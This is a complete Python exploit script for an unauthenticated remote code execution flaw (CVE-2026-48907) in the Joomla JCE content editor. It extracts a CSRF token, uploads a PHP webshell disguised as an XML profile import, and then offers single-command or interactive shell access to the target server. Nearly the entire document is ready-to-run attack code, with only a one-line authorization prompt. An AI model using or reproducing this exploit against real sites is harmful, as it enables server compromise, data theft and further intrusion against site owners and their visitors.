Joomla 2.9.99.4 – Unauthenticated Remote Code Execution
# Exploit Title: Joomla 2.9.99.4 -Unauthenticated Remote Code Execution # Date: 2026-07-10 # Exploit Author: K3ysTr0K3R (Jared Brits) # Vendor Homepage: https://www.joomla.org/ # Software Link: https://extensions.joomla.org/extension/jce/ # Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5) # Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4 # CVE: CVE-2026-48907 # Description: The JCE (Joomla Content Editor) profile import functionality # lacks proper authentication and CSRF protections. An unauthenticated # attacker can upload a crafted XML file containing PHP code; the # file is stored in the /tmp/ directory and can be accessed via HTTP, # leading to remote code execution. # # Usage examples: # python3 exploit.py -u http://example.com --interactive # python3 exploit.py -u http://example.com --cmd "id" # python3 exploit.py -u http://example.com -v import re import sys import argparse import requests from random import randint from time import sleep from urllib.parse import urljoin from rich.console import Console from rich.text import Text console = Console() requests.packages.urllib3.disable_warnings( requests.packages.urllib3.exceptions.InsecureRequestWarning ) class JCEExploit: def __init__(self, target_url, proxy=None, verbose=False): self.target = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.verify = False if proxy: self.session.proxies = { 'http': proxy, 'https': proxy } self.filename = f"jce-{randint(1000, 9999)}.xml.php" self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>' def log(self, msg, level="INFO"): if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]: level_style = { "INFO": "blue", "SUCCESS": "green", "ERROR": "red", "WARNING": "yellow" } symbol = { "INFO": "[*]", "SUCCESS": "[+]", "ERROR": "[-]", "WARNING": "[!]" }.get(level, "[*]") text = Text() text.append(symbol, style=level_style.get(level, "blue")) text.append(f" {msg}") console.print(text) def get_csrf_token(self): try: resp = self.session.get(self.target + '/', timeout=10) if resp.status_code != 200: self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR") return None patterns = [ r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"', r'name="([a-f0-9]{32})"\s+value="1"', ] for pattern in patterns: match = re.search(pattern, resp.text, re.I) if match: token = match.group(1) self.log(f"CSRF token extracted: {token}", "SUCCESS") return token self.log("Could not find CSRF token in the page", "ERROR") return None except requests.RequestException as e: self.log(f"Request failed: {e}", "ERROR") return None def upload_profile(self, token): if not token: return False endpoint = urljoin(self.target, '/index.php?option=com_jce') files = { 'profile_file': (self.filename, self.payload, 'application/xml') } data = { 'task': 'profiles.import', token: '1' } try: self.log(f"Uploading malicious file: {self.filename}") resp = self.session.post(endpoint, files=files, data=data, timeout=15) if resp.status_code != 200: self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR") return False if 'success' in resp.text and 'true' in resp.text: self.log("Profile imported – file written to /tmp/", "SUCCESS") return True else: self.log("Profile import may have failed", "WARNING") return False except requests.RequestException as e: self.log(f"Upload request failed: {e}", "ERROR") return False def get_webshell_url(self): return urljoin(self.target, f'/tmp/{self.filename}') def execute_command(self, command): if not command: return "" url = self.get_webshell_url() try: resp = self.session.get(url, params={'cmd': command}, timeout=10) if resp.status_code == 200: return resp.text else: return f"[!] HTTP {resp.status_code} – command may have failed." except requests.RequestException as e: return f"[!] Request error: {e}" def interactive_shell(self): self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS") console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n") while True: try: cmd = console.input("[cyan]$> [/cyan]").strip() if cmd.lower() in ('exit', 'quit'): break if cmd == "": continue output = self.execute_command(cmd) print(output) except KeyboardInterrupt: print("\nExiting.") break def run(self, command=None, interactive=False): self.log(f"Target: {self.target}") self.log("Starting CVE-2026-48907 exploitation process") token = self.get_csrf_token() if not token: self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR") return False if not self.upload_profile(token): self.log("Upload failed – target may be patched.", "ERROR") return False test_output = self.execute_command("echo JCE_TEST") if "JCE_TEST" in test_output: self.log("Webshell is active and responding.", "SUCCESS") else: self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING") if command: self.log(f"Executing command: {command}") output = self.execute_command(command) print(output) return True if interactive: self.interactive_shell() else: self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO") self.log(f"Direct webshell URL: {self.get_webshell_url()}") return True def main(): parser = argparse.ArgumentParser( description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE', epilog='Examples:\n' ' python3 exploit.py -u http://target.com --interactive\n' ' python3 exploit.py -u http://target.com --cmd "id"\n' ' python3 exploit.py -u http://target.com -v' ) parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL') parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output') parser.add_argument('--cmd', help='Execute a single command and exit') parser.add_argument('--interactive', action='store_true', help='Start an interactive shell') args = parser.parse_args() banner = Text() banner.append("[!] ", style="yellow") banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n") banner.append("[!] ", style="yellow") banner.append("Coded by K3ysTr0K3R (Jared Brits)\n") console.print(banner, style="bold") if not args.verbose and not args.cmd and not args.interactive: confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ") if confirm.lower() != 'y': console.print("Exiting.") sys.exit(0) exploit = JCEExploit(args.url, args.proxy, args.verbose) success = exploit.run(command=args.cmd, interactive=args.interactive) sys.exit(0 if success else 1) if __name__ == "__main__": main() |